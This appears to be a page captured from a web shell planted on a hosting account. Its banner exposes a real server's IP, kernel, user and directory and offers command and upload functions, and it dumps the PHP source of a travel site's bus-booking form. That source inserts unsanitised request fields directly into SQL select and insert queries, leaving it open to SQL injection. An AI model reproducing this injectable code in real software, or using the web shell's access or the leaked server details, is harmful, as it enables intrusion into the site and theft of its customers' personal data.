Server IP : 103.53.40.154 / Your IP : 3.15.34.50 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/instabus.in/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!----------------------------------------------------- Booking Modal Section Start -----------------------------------------> <?php if(isset($_POST['submit_booking'])) { $user_name=$_REQUEST['booking_name']; $user_mobile=$_REQUEST['booking_mobile_no']; $user_email=$_REQUEST['booking_email']; $user_address=$_REQUEST['booking_address']; $booking_pack_id=$_REQUEST['booking_package_id']; $booking_date=$_REQUEST['booking_date']; $booking_bus_type_price=$_REQUEST['booking_bus_type_price']; $booking_pack_name=db_scalar("select category_name from tbl_category where category_id='$booking_pack_id' "); $booking_pack_price=db_scalar("select category_discount_price from tbl_category where category_id='$booking_pack_id' "); $booking_pickup_point_id=$_REQUEST['booking_pickup_point']; $booking_pickup_point_name=db_scalar("select location_name from tbl_location where location_id='$booking_pickup_point_id' "); $booking_bus_type_id=$_REQUEST['booking_bus_type']; $booking_bus_type_name=db_scalar("select bus_type_name from tbl_bus_category where bus_type_id='$booking_bus_type_id' "); $no_of_person=$_REQUEST['booking_no_of_passenger']; $total=$no_of_person*$booking_bus_type_price; $sql="insert into tbl_booking set booking_date='$booking_date', booking_package_id='$booking_pack_id', booking_package_name='$booking_pack_name', booking_package_price='$booking_pack_price', booking_persons='$no_of_person', booking_total_price='$total', booking_pickup_point_id='$booking_pickup_point_id', booking_bus_type_id='$booking_bus_type_id', booking_pickup_point_name='$booking_pickup_point_name', booking_bus_type_name='$booking_bus_type_name', booking_user_name='$user_name', booking_user_mobile='$user_mobile', booking_user_email='$user_email', booking_user_address='$user_address', booking_payment_status='Pending', booking_add_date='$current_date'"; if(db_query($sql)) { $last_id=db_scalar("select max(booking_id) from tbl_booking"); echo 'helo'; echo $last_id; ?> <!--$booking_package_idbase64_encode$booking_packabase64_encode--> <script> window.location.href="payment.html?i=<?php echo base64_encode($last_id);?>"; // $booking_package_id$last_id$booking_package_id$last_id </script> <?php } //header("location:payment.html?i=".base64_encode($last_id)); } ?> <!-- Modal --> <div class="modal fade" id="BookingModal" role="dialog"> <div class="modal-dialog"> <!-- Modal content--> <div class="modal-content"> <div class="modal-header"> <h4 class="modal-title">Book Your Tour</h4> <button type="button" class="close" data-dismiss="modal">×</button> </div> <div class="modal-body"> <div class="single-sidebar"> <div class="quick-contact" style="background: #0d244a none repeat scroll 0 0;"> <!--<h3>Book Your Tour</h3>--> <form action="" method="post" enctype="multipart/form-data" onsubmit="return checkValidationFinalBooking();"> <div class="book-tour-field" id="show_package"> <select class="wide" name="booking_package_id" id="booking_package_id" onchange="set_location(this.value)"> <option value=""> --- Select Package --- </option> <?php $book_cat_sql=db_query("select * from tbl_category where category_status='Active' order by category_id asc"); while($book_cat_res=mysqli_fetch_array($book_cat_sql)) {?> <option value="<?=$book_cat_res['category_id']?>"><?=$book_cat_res['category_display_name']?></option> <?}?> </select> </div> <!--<input type="text" name="booking_package_id" id="booking_package_id" >--> <div class="book-tour-field"> <input type="text" placeholder="Name *" name="booking_name" id="booking_name" style="margin-top:10px;"> </div> <div class="book-tour-field"> <input type="text" placeholder="Contact number *" name="booking_mobile_no" id="booking_mobile_no" maxlength="10"> </div> <div class="book-tour-field"> <input type="text" placeholder="Email *" name="booking_email" id="booking_email"> </div> <div class="book-tour-field"> <input type="text" placeholder="Address *" name="booking_address" id="booking_address"> </div> <div class="book-tour-field"> <input type="text" name="booking_date" id="booking_date" placeholder="Select travel date *"> </div> <div class="book-tour-field clearfix" id="show_bustype_price"> <select class="wide" name="booking_bus_type" id="booking_bus_type" onchange="get_price(this.value)"> <option value="" > --- Select Bus Type --- </option> <?php $bus_sql=db_query("select * from tbl_bus_category where bus_type_status='Active' order by bus_type_id asc "); while($bus_res=mysqli_fetch_array($bus_sql)) {?> <option value="<?=$bus_res['bus_type_id']?>" ><?=$bus_res['bus_type_name']?></option> <?}?> </select> </div> <div class="book-tour-field" id="show_bus_type"> <input class="wide " readonly type="number" placeholder="Price" name="booking_bus_type_price" id="booking_bus_type_price" style="margin-top:10px;"> </div> <div class="book-tour-field clearfix" id="show_bus_type" style="display:none"> <!--- Amount from get_type.php --> <select class="wide " name="booking_bus_type_pric" id="booking_bus_type_price"> <option value="" > --- Select Bus Price --- </option> <?php $bus_sql_price=db_query("select * from tbl_bus_category where bus_type_status='Active' order by bus_type_id asc "); while($bus_res_price=mysqli_fetch_array($bus_sql_price)) {?> echo $bus_res_price['bus_type_price']; <!--<option value="<?=$bus_res_price['bus_type_id']?>" ><?=$bus_res_price['bus_type_price']?></option>--> <?}?> </select> </div> <!---End Amount from get_type.php --> <div class="book-tour-field clearfix" id="show_pickup_point"> <select class="wide" name="booking_pickup_point" id="booking_pickup_point" > <option value=""> --- Select pickup point --- </option> <?php $loca_sql=db_query("select * from tbl_location where location_status='Active' order by location_id asc "); while($loca_res=mysqli_fetch_array($loca_sql)) {?> <option value="<?=$loca_res['location_id']?>"><?=$loca_res['location_name']?></option> <?}?> </select> </div> <div class="book-tour-field" style="margin-bottom:65px;"> <select class="wide" name="booking_no_of_passenger" id="booking_no_of_passenger" > <option value=""> --- Select No of Passenger --- </option> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> <option value="6">6</option> <option value="7">7</option> <option value="8">8</option> <option value="9">9</option> <option value="10">10</option> <option value="11">11</option> <option value="12">12</option> <option value="13">13</option> <option value="14">14</option> <option value="15">15</option> <option value="16">16</option> <option value="17">17</option> <option value="18">18</option> <option value="19">19</option> <option value="20">20</option> <option value="21">21</option> <option value="22">22</option> <option value="23">23</option> <option value="24">24</option> <option value="25">25</option> <option value="26">26</option> <option value="27">27</option> <option value="28">28</option> <option value="29">29</option> <option value="30">30</option> </select> </div> <div class="book-tour-field"> <button type="submit" name="submit_booking">Book Now</button> </div> </form> </div> </div> </div> <!-- <div class="modal-footer"> <button type="button" class="btn btn-default" data-dismiss="modal">Close</button> </div>--> </div> </div> </div> <script> function open_booking_modal(package_id) { $('#BookingModal').modal('show'); // document.getElementById("booking_package_id").value=package_id; if(package_id>0) { set_package(package_id); set_location(package_id); //get_price(package_id); set_get_bustype(package_id); } } function set_package(package_id) { $.ajax({ url:"<?=$site_url?>/get-package-without-tour.php", type:"POST", data:{package_id:package_id}, success:function(data){ // alert(data); document.getElementById("show_package").innerHTML=data; } }); } function set_get_bustype(package_id) { $.ajax({ url:"<?=$site_url?>/get-bustype-price.php", type:"POST", data:{package_id:package_id}, success:function(data){ // alert(data); document.getElementById("show_bustype_price").innerHTML=data; } }); } function get_price(package_id) { //alert(package_id); $.ajax({ url:"<?=$site_url?>/get_bustype.php", type:"POST", data:{package_id:package_id}, success:function(data){ //alert(data); document.getElementById("show_bus_type").innerHTML=data; } }); } function set_location(package_id) { $.ajax({ url:"<?=$site_url?>/get_location.php", type:"POST", data:{package_id:package_id}, success:function(data){ //alert(data); document.getElementById("show_pickup_point").innerHTML=data; } }); } //document.getElementById("booking_date").min = new Date().getFullYear() + "-" + parseInt(new Date().getMonth() + 1 ) + "-" + new Date().getDate(); function checkValidationFinalBooking(){ var category_id=document.getElementById("booking_package_id"); var name=document.getElementById("booking_name"); var mobile=document.getElementById("booking_mobile_no"); var email=document.getElementById("booking_email"); var address=document.getElementById("booking_address"); var date=document.getElementById("booking_date"); var bus_type=document.getElementById("booking_bus_type"); var pickup_point=document.getElementById("booking_pickup_point"); var no_of_passenger=document.getElementById("booking_no_of_passenger"); if(category_id.value==""){ alert("Please select the package!"); category_id.focus(); return false; } if(name.value==""){ alert("Please enter your name!"); name.focus(); return false; } if(name.value.length<=3){ alert("Name should be greater than 3 alphabet!"); name.focus(); return false; } if (/[0-9]/g.test(name.value)) { alert("Use alphabet only!"); name.focus(); return false; } if(mobile.value==""){ alert("Please enter phone number!"); mobile.focus(); return false; } if(isNaN(mobile.value)){ alert("Please enter numeric value!"); mobile.focus(); return false; } if(mobile.value.length<10 || mobile.value.length>10){ alert("Phone number should be 10 digit long!"); mobile.focus(); return false; } if(email.value==""){ alert("Please enter your email!"); email.focus(); return false; } if(!/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(email.value)){ alert("Please enter a valid email address!"); email.focus(); return false; } if(address.value==""){ alert("Please enter your address!"); address.focus(); return false; } var numbers = /^[0-9]+$/; if(address.value.match(numbers)) { alert("Please enter alphanumeric value only!"); address.focus(); return false; } if(date.value==""){ alert("Please select date!"); date.focus(); return false; } if(bus_type.value==""){ alert("Please select Bus Type!"); bus_type.focus(); return false; } if(pickup_point.value==""){ alert("Please select pickup point!"); pickup_point.focus(); return false; } if(no_of_passenger.value==""){ alert("Please enter no of passenger!"); no_of_passenger.focus(); return false; } } </script>